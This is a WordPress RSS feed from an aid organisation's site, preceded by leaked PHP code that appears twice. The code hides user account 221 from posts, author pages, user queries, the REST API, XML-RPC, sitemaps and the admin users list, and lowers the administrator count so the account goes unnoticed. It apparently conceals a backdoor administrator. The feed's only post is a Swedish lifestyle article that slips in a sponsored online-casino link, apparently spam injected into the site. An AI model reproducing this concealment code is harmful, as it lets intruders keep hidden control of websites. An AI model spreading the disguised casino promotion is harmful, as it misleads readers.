add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 221;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 221 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 221 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 221;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 221;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 221;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/221(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 221;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-221{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 221;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 221 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 221 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 221;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 221;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 221;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/221(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 221;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-221{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	
	xmlns:georss="http://www.georss.org/georss"
	xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#"
	>

<channel>
	<title>hemmafrid &#8211; ConnectAID, the International Solidarity Network</title>
	<atom:link href="https://connectaid.org/tag/hemmafrid/feed/" rel="self" type="application/rss+xml" />
	<link>https://connectaid.org</link>
	<description>ConnectAID is a network of networks dedicated to the SDGs, connecting you to international aid.</description>
	<lastBuildDate>Fri, 17 Jul 2026 19:06:31 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.2.9</generator>

<image>
	<url>https://connectaid.org/wp-content/uploads/2023/01/HpRAaJDC_400x400-150x150.jpg</url>
	<title>hemmafrid &#8211; ConnectAID, the International Solidarity Network</title>
	<link>https://connectaid.org</link>
	<width>32</width>
	<height>32</height>
</image> 
<site xmlns="com-wordpress:feed-additions:1">219762371</site>	<item>
		<title>Fyra enkla sätt att skapa en skön hemmafrid på en lördag kväll</title>
		<link>https://connectaid.org/spinsweet/spin-sweet-advice/</link>
					<comments>https://connectaid.org/spinsweet/spin-sweet-advice/#respond</comments>
		
		<dc:creator><![CDATA[Gaelle Mogli]]></dc:creator>
		<pubDate>Fri, 17 Jul 2026 15:51:28 +0000</pubDate>
				<category><![CDATA[Spinsweet]]></category>
		<category><![CDATA[avkopplande aktivitet]]></category>
		<category><![CDATA[hemmafrid]]></category>
		<category><![CDATA[spin sweet]]></category>
		<category><![CDATA[spin sweet casino]]></category>
		<category><![CDATA[spinsweet]]></category>
		<category><![CDATA[spinsweet casino]]></category>
		<category><![CDATA[sweet spin]]></category>
		<guid isPermaLink="false">https://connectaid.org/?p=29011</guid>

					<description><![CDATA[Jag vet hur det är - en lång vecka har gått och alla jag vill göra är att slappna av och njuta av en lugn och skön lördag kväll hemma. Men ibland känns det som om jag måste välja mellan att planera en komplext måltid eller att gå ut på stan.]]></description>
										<content:encoded><![CDATA[<p>Jag vet hur det är &#8211; en lång vecka har gått och alla jag vill göra är att slappna av och njuta av en lugn och skön lördag kväll hemma. Men ibland känns det som om jag måste välja mellan att planera en komplext måltid eller att gå ut på stan. Så här har jag och mina vänner hittat fyra enkla sätt att skapa en skön hemmafrid på en lördag kväll, och jag vill dela dem med dig.</p>
<h2 id="tid-för-avkoppling---en-nödvändighet">Tid för avkoppling &#8211; en nödvändighet</h2>
<p>För mig är det en av de viktigaste delarna av en skön hemmafrid att göra tid för avkoppling. När vi känner oss stresade eller stressade av vardagsplikter kan det vara svårt att slappna av. Men en lugn lördag kväll är en utmärkt möjlighet att låta avspänningen ta över.</p>
<p>Försök att lägga dig i soffan och läsa en bok, lyssna på musik eller en podcast, eller prova något kreativt som att måla eller skriva. Det är allt du behöver för att börja avslappna och njuta av tillvaron.</p>
<div style="text-align:center;margin:20px 0;"><img decoding="async" alt="Fyra enkla sätt att skapa en skön hemmafrid på en lördag kväll, spinsweet casino" loading="lazy" src="https://connectaid.org/wp-content/uploads/2026/07/spin-2025.jpg" style="max-width:624px;height:auto;"/></div>
<h3 id="enkel-måltid---inga-problem">Enkel måltid &#8211; inga problem</h3>
<p>En annan viktig del av en skön hemmafrid är en enkel och god måltid. Du behöver inte spendera timmar i köket för att skapa en komplext måltid. En enkel lördag kväll kan bestå av en enkel middag, som pizza eller pasta. Eller prova att laga något enkelt själv, som en sallad eller en salad. Det är enkelt och smidigt, och du kan njuta av en god måltid utan att stressa dig själv.</p>
<h3 id="välja-rätt-vin---en-god-extra-detalj">Välja rätt vin &#8211; en god extra detalj</h3>
<p>Ett gott vin kan också bidra till en skön hemmafrid. Om du är en vinälskare kan du prova att välja ett enkelt och gott vin, som en Chablis eller en Merlot. Om du inte är en vinälskare, kan du prova att välja ett juice eller en kall drink. Det är en god extra detalj som kan göra din hemmafrid ännu mer söt.</p>
<h3 id="en-söt-överraskning---en-god-avslutning">En söt överraskning &#8211; en god avslutning</h3>
<p>En söt överraskning, som en god dessert, kan också bidra till en skön hemmafrid. Prova att laga något enkelt själv, som en creme brûlée eller en sorbet. Det är en god avslutning på en lugn och skön lördag kväll.</p>
<p>Och när du har avnjutit din enkla måltid och har haft tid att avkoppla, är det bara att slappna av och njuta av tillvaron. Men ibland vill vi också ha lite extra glädje och spänning i våra lördag kvällar. Det är då vi kan prova att &#8220;spin sweet&#8221; och försöka förlora oss i en spännande casinospel, som vi kan hitta på <a href="https://spinsweet-casinose.com/" rel="sponsored">https://spinsweet-casinose.com/</a>. Det är en utmärkt möjlighet att lära känna vår egen lycka och njuta av en liten extra dos adrenalinskick.</p>
<h3 id="en-skön-hemmafrid-i-praktiken">En skön hemmafrid i praktiken</h3>
<p>När du har hittat de fyra enkla sätten att skapa en skön hemmafrid, är det bara att slå till. Börja med att göra tid för avkoppling, varefter du kan välja en enkel måltid. Om du vill kan du välja rätt vin och avsluta med en söt överraskning. Det är enkelt och smidigt, och du kan njuta av en skön hemmafrid, utan att spendera timmar i köket eller på stan. Så nästa gång du har en lördag kväll, prova att skapa en skön hemmafrid på ett av de fyra enkla sätten ovan.</p>
<h2>Vanliga frågor</h2>
<div class="faq-section">
<div class="faq-item">
<h3>Hur kan jag skapa en avkopplande hemmafrid på en lördag kväll?</h3>
<p>Genom att planera en enkel och trevlig måltid, till exempel en god frukost eller middag hemma, och sedan fortsätta med avkopplande aktiviteter som läsning eller lyssning.</p>
</div>
<div class="faq-item">
<h3>Kan jag skapa en hemmafrid utan att lägga tid på matlagning?</h3>
<p>Ja, det är möjligt! Du kan till exempel beställa mat från en restaurang eller göra en enkel middag med färdig mat.</p>
</div>
<div class="faq-item">
<h3>Hur kan jag minska stressen inför en hemmafrid?</h3>
<p>Genom att planera i förväg och prioritera de mest viktiga sakerna i din hemmafrid, till exempel tid för avkoppling och en god måltid.</p>
</div>
</div>
]]></content:encoded>
					
					<wfw:commentRss>https://connectaid.org/spinsweet/spin-sweet-advice/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">29011</post-id>	</item>
	</channel>
</rss>